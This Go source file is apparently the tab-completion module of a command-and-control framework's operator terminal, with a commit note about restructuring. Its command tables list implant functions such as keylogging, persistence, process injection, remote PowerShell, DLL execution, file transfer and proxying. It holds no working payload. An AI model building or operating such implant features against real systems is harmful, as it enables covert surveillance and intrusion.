Agent and server files have been restrucutred for convenience. Agent source files have also been split for convenience and readability. Operator's terminal was enchanced to better display output. Also, some comands were renamed to be more intuitive and some errors have been fixed, which led to terminal's panic. Command parses has also been enchanced to not mismatch commands and handle them strictly. Command 'tasks' now work in both general and agent contexts. Filepath handling was fixed in 'download', 'upload' and 'spawn' commands. Now filepaths with spaces are handled correctly. WolfSSL was ditched, as it is not really necessary anymore.
123 lines
3.6 KiB
Go
123 lines
3.6 KiB
Go
package main
|
|
|
|
// Available commands fpr tab completion in main context
|
|
var availableGeneralCommands = []struct {
|
|
command string
|
|
subcommands map[string][]string
|
|
}{
|
|
{"agents", nil},
|
|
{"show", map[string][]string{
|
|
"agent": {""}, // Updated dynamically
|
|
"listeners": nil,
|
|
}},
|
|
{"tasks", nil},
|
|
{"clear", map[string][]string{
|
|
"tasks": {""}, // Updated dynamically
|
|
}},
|
|
{"listen", map[string][]string{
|
|
"-t": {"ssl", "tcp", "https", "dns"},
|
|
"-h": {""},
|
|
"-p": {""},
|
|
"-n": {""},
|
|
}},
|
|
{"modules", nil},
|
|
{"stop", map[string][]string{
|
|
"listener": {""}, // Updated dynamically
|
|
}},
|
|
{"generate", map[string][]string{
|
|
"agent": {""}, // Updated dynamically
|
|
"beacon": {""}, // Updated dynamically
|
|
}},
|
|
{"interact", map[string][]string{
|
|
"": {""}, // Updated dynamically
|
|
}},
|
|
{"exit", nil},
|
|
{"quit", nil},
|
|
}
|
|
|
|
// Available commands fpr tab completion in agent context
|
|
var availableContextCommands = []struct {
|
|
command string
|
|
subcommands map[string][]string
|
|
}{
|
|
{"agents", nil},
|
|
{"show", map[string][]string{
|
|
"agent": {""}, // Updated dynamically
|
|
}},
|
|
{"tasks", nil},
|
|
{"clear", map[string][]string{
|
|
"tasks": {""}, // Updated dynamically
|
|
}},
|
|
{"modules", nil},
|
|
{"sleep", map[string][]string{"": {""}}},
|
|
{"cmd", map[string][]string{"": {""}}},
|
|
{"powershell", map[string][]string{"": {""}}},
|
|
{"runexe", map[string][]string{"": {""}}},
|
|
{"rundll", map[string][]string{"": {""}}},
|
|
{"sysinfo", map[string][]string{"": {""}}},
|
|
{"files", map[string][]string{"": {""}}},
|
|
{"artifacts", map[string][]string{"": {""}}},
|
|
{"cd", map[string][]string{"": {""}}},
|
|
{"ls", map[string][]string{"": {""}}},
|
|
{"pwd", nil},
|
|
{"dir", map[string][]string{"": {""}}},
|
|
{"inject", map[string][]string{"": {""}}},
|
|
{"spawn", map[string][]string{"": {""}}},
|
|
{"keylogger", map[string][]string{
|
|
"start": {""},
|
|
"stop": {""},
|
|
}},
|
|
{"persistence", map[string][]string{
|
|
"add": {""},
|
|
"remove": {""},
|
|
}},
|
|
{"download", map[string][]string{"": {""}}},
|
|
{"upload", map[string][]string{"": {""}}},
|
|
{"proxy", map[string][]string{
|
|
"start": {""},
|
|
"stop": {""},
|
|
}},
|
|
{"kill", map[string][]string{"": {""}}},
|
|
{"cleanup", map[string][]string{"": {""}}},
|
|
{"exit", nil},
|
|
{"quit", nil},
|
|
}
|
|
|
|
// Commands which agentID is appended to
|
|
var implantCommands = []string{
|
|
"tasks", "sleep", "cmd", "powershell", "runexe", "rundll", "sysinfo", "files", "keylogger",
|
|
"persistence", "download", "upload", "artifacts", "kill", "cleanup",
|
|
"exit", "cd", "ls", "pwd", "dir", "proxy", "ps", "inject", "spawn",
|
|
}
|
|
|
|
// Update available listener names for "generate agent" and "generate beacon" and for "stop listeners"
|
|
func UpdateListenersSubCommands(listeners []string) {
|
|
for i := range availableGeneralCommands {
|
|
switch availableGeneralCommands[i].command {
|
|
case "generate":
|
|
availableGeneralCommands[i].subcommands["agent"] = listeners
|
|
availableGeneralCommands[i].subcommands["beacon"] = listeners
|
|
case "stop":
|
|
availableGeneralCommands[i].subcommands["listener"] = listeners
|
|
}
|
|
}
|
|
}
|
|
|
|
// Update available commands to auto-complete agent names
|
|
func UpdateAgentsSubCommands(agentList []string) {
|
|
agents = agentList
|
|
for i := range availableGeneralCommands {
|
|
switch availableGeneralCommands[i].command {
|
|
case "show":
|
|
availableGeneralCommands[i].subcommands["agent"] = agentList
|
|
availableContextCommands[i].subcommands["agent"] = agentList
|
|
// availableGeneralCommands[i].subcommands["tasks"] = agentList
|
|
case "clear":
|
|
availableGeneralCommands[i].subcommands["tasks"] = agentList
|
|
availableContextCommands[i].subcommands["tasks"] = agentList
|
|
case "interact":
|
|
availableGeneralCommands[i].subcommands[""] = agentList
|
|
}
|
|
}
|
|
}
|